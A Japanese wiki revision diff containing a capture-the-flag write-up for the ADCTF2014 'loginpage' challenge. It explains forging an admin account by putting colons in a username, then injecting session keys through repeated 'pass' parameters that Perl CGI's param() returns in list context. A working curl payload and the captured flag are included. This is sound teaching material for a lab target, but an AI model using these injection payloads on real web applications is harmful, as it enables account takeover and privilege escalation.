⇤ ← 2014-12-13 00:19:44時点のリビジョン1
サイズ: 2535
コメント:
|
← 2014-12-13 00:21:58時点のリビジョン2 ⇥
サイズ: 2536
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 43: | 行 43: |
% curl -c cookie.jar -L http://loginpage.adctf2014.katsudon.org/login -d "name=admin&pass=abc&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a" | % curl -c cookie.jar -L http://loginpage.adctf2014.katsudon.org/login -d "name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a" |
loginpage
問題
You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag.
I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it
loginpage.adctf2014.katsudon.org
問題(和訳)
メモ
解法
ユーザデータベースが"ユーザ名:パスワード:管理者フラグ"の構造で保存されているが, ユーザ作成時にコロンが含まれていても素通しのためユーザ名にadmin:hoge:1などと入れることによりadminユーザを作成することができる。 これによりadminユーザにパスワードhogeでログインできるようになった。
さらにフラグを見るためにはセッションのgive_me_flagを真にしなくてはならない。
PerlのCGIモジュールのparamメソッドはリストコンテキストで呼び出すとキーに対応する値を全てリストで返してしまう。 これにより,passに複数の値を設定しておくとgive_me_flag => 1を挿入できる。
name=admin&pass=hoge&pass=give_me_flag&pass=1
これだけでは駄目で,後ろにあるgive_me_flag => 0に上書きされないようにしなくてはならない。 admin => 1を自分で設定した上で更に余計な要素を一個だけ増やすことによってgive_me_flagをkeyではなくしてしまう。
name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a
以上でフラグを得ることができる。
% curl -c cookie.jar -L http://loginpage.adctf2014.katsudon.org/login -d "name=admin&pass=hoge&pass=give_me_flag&pass=1&pass=admin&pass=1&pass=a" <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>hello - loginpage</title> </head> <body> <p><a href="/">index</a> | <a href="/register">register</a> | <a href="/login">login</a> | <a href="/user">user list</a></p> <p>loginpage</p> <p>hello, <b>admin</b> (password is: abc)</p> <p>you are admin!</p> <p>the flag is: ADCTF_L0v3ry_p3rl_c0N73x7</p> </body> </html>